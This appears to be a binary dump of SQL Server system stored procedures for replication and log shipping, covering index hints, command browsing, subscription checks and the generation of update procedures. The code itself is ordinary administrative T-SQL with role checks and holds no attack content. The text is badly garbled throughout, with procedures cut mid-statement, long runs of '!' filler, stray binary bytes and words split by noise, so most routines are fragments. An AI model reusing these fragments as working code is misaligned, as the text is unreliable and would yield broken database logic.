@is_vertically_partitioned bit = 0
)
as
begin
set nocount on
declare @source_object_id int
      , @sync_object_id int
      , @index_id int
      , @load_ordering_hint nvarchar(max)
      , @retcode int
      , @index_column_name sysname
      , @index_column_is_descending bit
      , @first_index_column bit
      , @hint nvarchar(max)

set @retcode = 0 
exec @retcode = sys.sp_MSreplcheck_publish
if @@error <> 0 or @retcode <> 0
    return (1)

set @source_object_id = object_id(@qualified_source_object_name)
set @sync_object_id = object_id(@qualified_sync_object_name)
set @first_index_column = 1
set @index_id = null

select @index_id = index_id
  from sys.indexes inds
 where inds.type = 1 -- Consider clustered index only
   and inds.object_id = @source_object_id
   and (@primary_key_only = 0 or inds.is_primary_key = 1)

if @index_id is not null
begin
    if @is_vertically_partitioned = 1
    begin
        if exists (select indcols.column_id 
                     from sys.index_columns indcols
                    where indcols.index_id = @index_id
                      and indcols.object_id = @source_object_id 
                      and indcols.column_id <> 0
                      and indcols.column_id not in (select cols.column_id
                                                      from sys.columns cols
                                                inner join sys.columns synccols
                                                        on cols.name = synccols.name
                                                       and synccols.object_id = @sync_object_id
                                                     where cols.object_id = @source_object_id
                                                and isnull(cols.is_computed, 0) <> 1))
        begin
            set @index_id = null
        end
    end
    else
    begin
        if exists (select indcols.column_id
                     from sys.index_columns indcols
               inner join sys.columns cols
                       on indcols.column_id = cols.column_id
                      and cols.object_id = @source_object_id
                      and indcols.index_id = @index_id
                      and indcols.object_id = @source_object_id
                    where indcols.column_id <> 0
                      and isnull(cols.is_computed, 0) = 1)
        begin
            set @index_id = null
        end
    end
end
    
if @index_id is not null
begin
    declare hIndexColumns cursor local
       for select cols.name, isnull(indcols.is_descending_key,0) 
             from sys.index_columns indcols
       inner join sys.columns cols
               on cols.column_id = indcols.column_id -- The join should filter out uniquefying columns
              and cols.object_id = @source_object_id
              and indcols.object_id = @source_object_id
              and indcols.index_id = @index_id
            where isnull(indcols.is_included_column, 0) = 0
         order by indcols.key_ordinal asc
    open hIndexColumns
    fetch hIndexColumns into @index_column_name, @index_column_is_descending
    while (@@fetch_status <> -1)
    begin
        if @first_index_column = 1
        begin
            set @hint = 'ORDER(' + quotename(@index_column_name) 
            set @first_index_column = 0
        end
        else
        begin
            set @hint = @hint + N',' + quotename(@index_column_name)
        end

        set @hint = @hint + case when @index_column_is_descending = 1 then N' DESC' else N' ASC' end
        fetch hIndexColumns into @index_column_name, @index_column_is_descending
    end    
    set @hint = @hint + N')'
    close hIndexColumns
    deallocate hIndexColumns
    select @hint, convert(int,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nchar(22) = NULL, --lower boundry of the query
	@xact_seqno_end nchar(22) = NULL, -- upper boundry of the query
	@originator_id int = NULL, -- limit query to the specified originator source
	@publisher_database_id int = NULL, -- limit query to the specified publication database
	@article_id int = NULL, -- limit query to the specified article
	@command_id int = NULL, -- limit query to the specified command id
	--the following apply to agent specific cmds (per sp_MSget_repl_commands called by agent)
	@agent_id int = NULL,  -- when present all other input parameters except @xact_seqno_start are ignored
	@compatibility_level int = 9000000 -- use 7000000 if subscriber is SQL70
as
	declare @query nvarchar( 4000 )
		,@retcode			int
		,@dbname sysname

	select @dbname = db_name()
	if (sys.fn_MSrepl_isdistdb (@dbname ) != 1)
	begin
		raiserror(21482, 16, -1, 'sp_browsereplcmds', 'distribution')
		return (1)
	end

	-- security check.
	-- User must be member of 'replmonitor' role in distribution database
	--
	exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess @distribution_db = @dbname 
	if @retcode != 0 or @@error != 0
	    return (1)

--first let's find out if we are returning cmds specific to an agent
if(@agent_id is not NULL)
begin
	if @xact_seqno_start is null
	begin
	    select @xact_seqno_start = N'0x00000000000000000000'
	end
	select @query = N'exec sys.sp_MSget_repl_commands ' + cast (@agent_id as nvarchar(12)) + N', ' + sys.fn_replreplacesinglequote(@xact_seqno_start ) + N', 0, ' + cast (@compatibility_level as nvarchar(12))
	exec sys.sp_printagentstatement @query
	return 0
end

--we know this is not specific to an agent, now go against the entire table.
if( @command_id is not null )
begin
    if( @xact_seqno_start is null or @publisher_database_id is null )
    begin
        raiserror( 21110, 16, -1 )
        return 1
    end
    else if @xact_seqno_start != @xact_seqno_end 
    begin
        raiserror( 21109, 16, -1 )
        return 1
    end
end

if @xact_seqno_start is null
begin
    select @xact_seqno_start = N'0x00000000000000000000'
end
if @xact_seqno_end is null
begin
    select @xact_seqno_end = N'0xFFFFFFFFFFFFFFFFFFFF'
end

select @query = N'select cmds.article_id, cast (cmds.partial_command as tinyint), cmds.command, cmds.xact_seqno, '
select @query = @query + 'cmds.xact_seqno, 0, cmds.command_id, cmds.type, orgs.srvname, orgs.dbname, '
select @query = @query + 'cast (cmds.hashkey as smallint), orgs.publication_id, orgs.dbversion, cmds.originator_lsn '
select @query = @query + 'from MSrepl_commands cmds left join MSrepl_originators orgs on cmds.originator_id = orgs.id '

if @command_id is not null
begin
    select @query = @query + N'where cmds.xact_seqno = ' + sys.fn_replreplacesinglequote(@xact_seqno_start )
end
else
begin
    select @query = @query + N'where cmds.xact_seqno >= ' + sys.fn_replreplacesinglequote(@xact_seqno_start) + N' and cmds.xact_seqno <= ' + sys.fn_replreplacesinglequote(@xact_seqno_end) 
end

if @originator_id is not null
begin
    select @query = @query + N' and cmds.originator_id = ' + convert( nvarchar, @originator_id )
end

if @publisher_database_id is not null
begin
    select @query = @query + N' and cmds.publisher_database_id = ' + convert( nvarchar, @publisher_database_id )
end

if @article_id is not null
begin
    select @query = @query + N' and cmds.article_id = ' + convert( nvarchar, @article_id )
end

if @command_id is not null
begin
	-- No need to use article_id and originator_id
    select @query = @query + N' and cmds.command_id >= ' + convert( nvarchar, @command_id )
    select @query = @query + N' and cmds.command_id <= ( select min( command_id ) from MSrepl_commands c '
    select @query = @query + N' where c.xact_seqno = ' +  sys.fn_replreplacesinglequote(@xact_seqno_start ) 
    select @query = @query + N' and c.publisher_database_id = ' + convert( nvarchar, @publisher_database_id )
    select @query = @query + N' and c.command_id >= ' + convert( nvarchar, @command_id )
    select @query = @query + N' and c.partial_command = 0 )'  
end

select @query = @query + N' order by cmds.originator_id, cmds.publisher_database_id, cmds.xact_seqno, cmds.article_id, cmds.command_id asc'


exec sys.sp_printstatement @query
0\@ 8create procedure sys.sp_MSispublicationqueued 
(
    @publisher sysname
    ,@publisher_db sysname
    ,@publication sysname
    ,@allow_queued_tran bit OUTPUT
)
as
begin
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	--
	-- get the queued tran state for the publication
	--
	if object_id(N'MSpublications') is not NULL
	begin
		select @allow_queued_tran = pub.allow_queued_tran 
		from (dbo.MSpublications as pub join master.dbo.sysservers as srv
				on pub.publisher_id = srv.srvid)
		where UPPER(srv.srvname) = UPPER(@publisher)
			and pub.publisher_db = @publisher_db
			and pub.publication = @publication
	end
	else
		select @allow_queued_tran = 0

	--
	-- all done
	--
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`f</n|8{ 0s 
8
create procedure sys.sp_MScheck_subscription
(
	@publication	sysname,
	@pub_type       int,
	@publisher		sysname = NULL
)
AS
BEGIN
	declare	@publisher_type sysname,
			@merge_pubid    uniqueidentifier,
			@tran_pubid     int,
			@result         int,
			@retcode        int

	-- Initialize
	SET @result = 0

    --
    -- Security Check.
    --
    IF IS_MEMBER('db_owner') <> 1 
    	AND IS_MEMBER('replmonitor') <> 1
	BEGIN
		SELECT 0
    	RETURN 0
	END

	-- Check to see if database is activated for publication
    IF sys.fn_MSrepl_ispublished(DB_NAME()) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo  @publisher		= @publisher,
                                                      @publisher_type   = @publisher_type OUTPUT
    IF @@error <> 0
    BEGIN
         RAISERROR (14071, 16, -1)
         RETURN (1)
    END

	IF @pub_type = 2
	BEGIN
		IF @publisher_type != N'MSSQLSERVER'
		BEGIN
			RAISERROR (14071, 16, -1)
			RETURN (1)
		END
		
		-- Merge publications
	    IF OBJECT_ID('sysmergepublications', 'U') IS NULL
	    BEGIN
	        RAISERROR(20054, 16, -1)
	        RETURN (1)
	    END
	    
	    SELECT	@merge_pubid = pubid
	    FROM	dbo.sysmergepublications
	    WHERE	name = @publication
	      AND	publisher = publishingservername()
	      AND	publisher_db = db_name()

	    IF @merge_pubid IS NULL
	    BEGIN
	        RAISERROR(20026, 16, -1, @publication)
	        RETURN (1)
	    END
	    
	    IF EXISTS
	    (
	    	SELECT	*
	    	FROM	dbo.sysmergesubscriptions
	    	WHERE	pubid = @merge_pubid
	    	  AND	subid != pubid
	    )
	    BEGIN
	        SET @result = 1
	    END
	END
	ELSE
	BEGIN
		--
	    -- If not merge, it has to be tran level.
	    -- For other level, a generic error will be returned.
	    --
	    
	    IF OBJECT_ID('syspublications', 'U') IS NULL AND OBJECT_ID('syspublications', 'V') IS NULL
	    BEGIN
	        RAISERROR(20054, 16, -1)
	        RETURN (1)
	    END

		-- Get publication id
		SELECT @tran_pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	    IF @tran_pubid IS NULL 
	    BEGIN
	        RAISERROR(20026, 16, -1, @publication)
	        RETURN (1)
	    END
	    
	    IF EXISTS
	    (
	    	SELECT	*
	    	FROM	syssubscriptions
	    	WHERE	srvid != -1
	    	  AND	artid IN 
	                (
	                	SELECT	artid
	                	FROM	sysextendedarticlesview
	                	WHERE	pubid = @tran_pubid
	                )
		)
		BEGIN
			SET @result = 1
		END
	END

	SELECT @result
	RETURN (0)
END
0 (8CREATE VIEW sys.dm_hadr_internal_wsfc_ag_db_replicas AS
	SELECT
		reps.ag_replica_id, dbrs.*
	FROM
		sys.dm_hadr_internal_wsfc_ag_replicas AS reps
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AG_DB_REPLICAS, reps.ag_id, reps.ag_replica_id) AS dbrs
0@ 8create procedure sys.sp_processlogshippingretentioncleanup 
(
    @agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit 
    ,@history_retention_period int
    ,@curdate_utc datetime
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingretentioncleanup', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingretentioncleanup
                    @agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@history_retention_period = @history_retention_period
                    ,@curdate_utc = @curdate_utc
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0%@ 8
create procedure sys.sp_MSgetchangecount(
    @startgen   bigint,
    @changes    int output,
    @updates    int output,
    @deletes    int output)
as
        declare @retcode int
        -- security check
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck
        if @@error <> 0 or @retcode <> 0
                return 1
                
    select @deletes = count(*) from dbo.MSmerge_tombstone where generation = 0 or generation > @startgen
    select @updates = count(*) from dbo.MSmerge_contents where generation = 0 or generation > @startgen
    select @changes = @updates + @deletes
    return (0)      
0c	@ 	8create procedure sys.sp_MSset_logicalrecord_metadata
    (@parent_nickname int, 
     @parent_rowguid uniqueidentifier, 
     @logical_record_lineage varbinary(311))
as
    declare @retcode smallint, @rowcount int, @error int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @parent_nickname
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    update dbo.MSmerge_contents set logical_record_lineage = @logical_record_lineage
    where tablenick = @parent_nickname
    and rowguid = @parent_rowguid
    
    select @rowcount = @@rowcount, @error = @@error
    
    if @error <> 0
            return 1
    
    if @rowcount = 0
    begin
        update dbo.MSmerge_tombstone set logical_record_lineage = @logical_record_lineage
        where tablenick = @parent_nickname
        and rowguid = @parent_rowguid

        select @rowcount = @@rowcount, @error = @@error
        
        if @error <> 0
                return 1
                    
        /*if @rowcount = 0
        begin
                declare @lineage varbinary(311), @replnick binary(6), @oldmaxversion int, @gen_cur bigint
                
                select top 1 @oldmaxversion = maxversion_at_cleanup, @gencur = gen_cur
                from dbo.sysmergearticles
                where nickname = @parent_nickname
        
                execute sys.sp_MSgetreplnick @replnick = @replnick output
                if @@error <> 0
                        return 1
                        
                set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }  
                insert into dbo.MSmerge_contents (tablenick, rowguid, generation, partchangegen, lineage, colv1,
                                                                                        marker, logical_record_parent_rowguid, logical_record_lineage,
                                                                                        logical_record_change_gen)
                        values(@parent_nickname, @parent_rowguid, @gencur, NULL, @lineage, 0x00,
                                                                                        NULL, @parent_rowguid, @logical_record_lineage, NULL)
                                                                                        
                if @error <> 0
                        return 1
        end */
    end
            
    return 0
0q@ Q8create procedure sys.sp_MSget_lightweightarticle_processing_order @nickname int, @pubid uniqueidentifier, @processing_order int output
as
	set @processing_order = 0
	
	select @processing_order = processing_order from dbo.sysmergearticles
	where pubid = @pubid and nickname = @nickname
	
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!;(P`<(0%N#k_v~ishertype = @publishertype
            end
            if (@updsub_check != 1)
                exec sys.sp_MSscript_missing_row_check
        end -- if (@fskipallcolumns = 0)
        else
        begin
            --
            -- no columns were selected for the update
            --
            insert into #proctext(procedure_text) values ('return 0')
        end
    end -- if (@mode = @staticmode)
    --
    -- For static mode processing - construct update statement without the PK columns 
    -- for case when PK is not identity and not computed.
    -- For dynamic mode processing this is the main block and we will script out code 
    -- for all the columns 
    -- Note: @art_col will be updated separately for static mode and dynamic mode
    --
    if (@isallreplcolpk = 0 and
            ((@mode = @staticmode and @pk_is_identity = 0 and @pkcomputed = 0) 
                or (@mode = @dynamicmode)))
    begin
        --
        -- continue scripting 
        --
        if (@mode = @staticmode)
        begin
            --
            -- static mode scripting
            --
            insert into #proctext(procedure_text) values( N'end' )
            insert into #proctext(procedure_text) values( N'else' )
            insert into #proctext(procedure_text) values( N'begin' )
        end
        else
        begin
            --
            -- dynamic mode scripting
            --
            insert into #proctext(procedure_text) values(N'declare @stmt nvarchar(4000), @spacervar nvarchar(1)')
            insert into #proctext(procedure_text) values(N'select @spacervar =N''''')
            select @pkart_col = 1
        end
        --
        -- process for each column
        --
        select @art_col = 1
                ,@fskipallcolumns=1
                ,@spacer = N' '
        if (@publishertype = @pubtypemssqlserver)
        begin
            declare #hccolid cursor local fast_forward for 
                select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
        end
        else
        begin
            declare #hccolid cursor local fast_forward for 
                select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
        end
        open #hccolid
        fetch #hccolid into @this_col, @colname
        while (@@fetch_status != -1)
        begin
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
            if (@publishertype = @pubtypemssqlserver)
                select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed !=1) then 1 else 0 end
            else
                select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
            if @isset = 1 
            begin
                --
                -- column is marked for replication
                --
                exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
                if @isset = 0
                begin
                    --
                    -- processing a non PK column
                    -- skip computed columns
                    -- skip identity columns that are scripted as identity on subscriber
                    --
                    if not (@publishertype = @pubtypemssqlserver 
                            and columnproperty(@src_objid, col_name( @src_objid, @this_col), 'IsIdentity') = 1 
                            and @fscriptidentity = 1) and @isvalidcolumn = 1
                    begin
                        --
                        -- process according to scripting mode
                        --
                        if (@mode = @staticmode)
                        begin
                            --
                            -- static mode scripting
                            -- if we are processing the first column - script the update statement
                            --
                            if (@fskipallcolumns = 1)
                            begin
                                insert into #proctext(procedure_text) values( N'update ' + @dest_owner + quotename(@dest_tabname) + N' set ' )
                                select @fskipallcolumns = 0
                            end
                            --
                            -- process based on formats
                            --
                            if (@format = @callformat)
                            begin
                                -- CALL format
                                insert into #proctext(procedure_text) values (
                                    @spacer + quotename(@colname) + N' = @c' + convert( nvarchar(10), @art_col ) )
                            end -- end CALL format
                            else if (@format in (@mcallformat, @vcallformat, @scallformat))
                            begin
                                -- MCALL/VCALL/SCALL format
                                select @bytestr = convert( nvarchar(10), 1 + (@art_col-1) / 8 )
                                        ,@bitstr =  convert( nvarchar(10), power(2, (@art_col-1) % 8 ) )

                                -- If the target column is an xml column, wrap it in a covert(xml,) to untype it
                                -- so all return values in the case statements are guaranteed to be uniformly untyped.
                                if sys.fn_isxmlcolumn(@src_objid, @this_col) = 1 and @xmltontext = 0
                                    insert into #proctext(procedure_text) values (
                                         @spacer + quotename(@colname) + N' = case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                                        N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar(10), @art_col ) + 
                                        N' else convert(xml, ' + quotename(@colname) + N') end' )
                                else
                                    insert into #proctext(procedure_text) values (
                                         @spacer + quotename(@colname) + N' = case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                                        N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar(10), @art_col ) + 
                                        N' else ' + quotename(@colname) + N' end' )

                            end -- end MCALL/VCALL/SCALL format
                            else if (@format = @xcallformat)
                            begin
                                -- XCALL format
                                insert into #proctext(procedure_text) values (
                                    @spacer + quotename(@colname) + 
                                    N' = @c' + convert( nvarchar(10), @art_col + @param_count/2) )
                                --
                                -- processing for updating subscribers:if this is the row version column : need to add to where clause
                                --
                                if ((@updsub_check = 1) and (@colname = N'msrepl_tran_version'))
                                    select @qwhere_string = N' and msrepl_tran_version = @c' + convert( nvarchar(10), @art_col )                        
                            end -- end XCALL format 
                        end -- end static mode
                        else
                        begin
                            --
                            -- dynamic mode scripting
                            -- if we are processing the first column - script the update statement
                            --
                            if (@fskipallcolumns = 1)
                            begin
                                i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
1N
//n~h$>%8^&}'0p234!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(2%N,ySv~nsert into #proctext(procedure_text) values( N'select @stmt = N''update ' + 
                                    sys.fn_replreplacesinglequote(@dest_owner + quotename(@dest_tabname)) collate database_default + N' set ''')
                                select @fskipallcolumns = 0
                            end
                            --
                            -- script the check and the dynamic column update 
                            -- based on format
                            --
                            if (@format = @callformat)
                            begin
                                -- CALL format
                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(quotename(@colname)) collate database_default  + 
                                    N''' + N''=@'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                            end -- end CALL format
                            else if (@format in (@mcallformat, @vcallformat, @scallformat))
                            begin
                                -- MCALL/VCALL/SCALL format
                                select @bytestr = convert( nvarchar(10), 1 + (@art_col-1) / 8 )
                                        ,@bitstr =  convert( nvarchar(10), power(2, (@art_col-1) % 8 ) )
                                insert into #proctext(procedure_text) values (
                                    N'if substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  N' = ' + @bitstr)
                                insert into #proctext(procedure_text) values (N'begin')
                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(quotename(@colname)) collate database_default  + 
                                    N''' + N''=@'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                                insert into #proctext(procedure_text) values (N'end')
                            end -- end MCALL/VCALL/SCALL format
                            else if (@format = @xcallformat)
                            begin
                                -- XCALL format
                                insert into #proctext(procedure_text) values (
                                    N'if not ( @c' + convert( nvarchar(10), @art_col + @param_count/2) + 
                                    N' = @c' + convert( nvarchar(10), @art_col ) + N' ) ')
                                insert into #proctext(procedure_text) values (N'begin')
                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(quotename(@colname)) collate database_default  + 
                                    N''' + N''=@'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                                insert into #proctext(procedure_text) values (N'end')
                                --
                                -- processing for updating subscribers:if this is the row version column : need to add to where clause
                                --
                                if ((@updsub_check = 1) and (@colname = N'msrepl_tran_version'))
                                    select @qwhere_string = N' and msrepl_tran_version = @' + convert( nvarchar(10), @art_col )                        
                            end -- end XCALL format 
                            --
                            -- script the parameter list for the sp_executesql based on format
                            --
                            if (@format in (@callformat, @mcallformat, @vcallformat, @scallformat))
                            begin
                                -- CALL/MCALL/VCALL/SCALL - @c<art_col>
                                insert into #proctext_params(procedure_text) values( 
                                    @spacer + N'@c' + convert( nvarchar(10), @art_col ))
                            end
                            else if (@format = @xcallformat)
                            begin
                                -- XCALL - use second set of column vars 
                                insert into #proctext_params(procedure_text) values( 
                                    @spacer + N'@c' + convert( nvarchar(10), @art_col + @param_count/2 ))
                            end
                            --
                            -- script the parameter definition list for sp_executesql
                            --
                            select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
                            insert into #proctext_paramdef(procedure_text) values (
                                @spacer + N'@' + convert( nvarchar(10), @art_col ) + N' ' + @typestring )
                        end -- end dynamic mode
                        --
                        -- update spacing variable
                        --
                        select @spacer = N',' 
                    end -- column not marked for identity
                end -- not a pk column
                else
                begin
                    --
                    -- processing a PK column 
                    -- For static scripting just update art_col counter
                    --
                    if (@mode = @dynamicmode)
                    begin
                        --
                        -- process dynamic mode here 
                        -- if we are processing the first column - script the update statement
                        --
                        if (@fskipallcolumns = 1)
                        begin
                            insert into #proctext(procedure_text) values( N'select @stmt = N''update ' + 
                                sys.fn_replreplacesinglequote(@dest_owner + quotename(@dest_tabname)) collate database_default + N' set ''')
                            select @fskipallcolumns = 0
                        end
                        --
                        -- process scripting column update
                        -- skip this for computed columns
                        -- skip this for identity columns that are scripted as identity on subscriber
                        --
                        if not (@publishertype = @pubtypemssqlserver 
                                and columnproperty(@src_objid, col_name( @src_objid, @this_col), 'IsIdentity') = 1 
                                and @fscriptidentity = 1) and @isvalidcolumn = 1
                        begin
                            --
                            -- processing a PK column that is not identity and not computed;
                            -- script the check and the dynamic column update 
                            -- since we are dealing with PK column - there will be 
                            -- the old value and new value for this column for all 
                            -- call formats. When updating - we set to the new value
                            -- and for !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(3%N3Iv~the where clause we use the old value.
                            -- The parameter list and the parameter definition list 
                            -- should contain both old and new values.
                            -- Process based on format
                            --
                            if (@format = @callformat)
                            begin
                                -- CALL format 
                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(QUOTENAME(@colname)) collate database_default  + 
                                    N''' + N''=@new'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                            end -- end CALL format
                            else if (@format in (@mcallformat, @vcallformat, @scallformat))
                            begin
                                -- MCALL/VCALL/SCALL format 
                                select @bytestr = convert( nvarchar(10), 1 + (@art_col-1) / 8 )
                                        ,@bitstr =  convert( nvarchar(10), power(2, (@art_col-1) % 8 ) )
                                insert into #proctext(procedure_text) values (
                                    N'if substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  N' = ' + @bitstr)
                                insert into #proctext(procedure_text) values (N'begin')
                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(quotename(@colname)) collate database_default  + 
                                    N''' + N''=@new'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                                insert into #proctext(procedure_text) values (N'end')
                            end -- end MCALL/VCALL/SCALL format
                            else if (@format = @xcallformat)
                            begin
                                -- XCALL format
                                insert into #proctext(procedure_text) values (
                                    N'if not ( @c' + convert( nvarchar(10), @art_col + @param_count/2) + 
                                    N' = @c' + convert( nvarchar(10), @art_col ) + N' ) ')
                                insert into #proctext(procedure_text) values (N'begin')
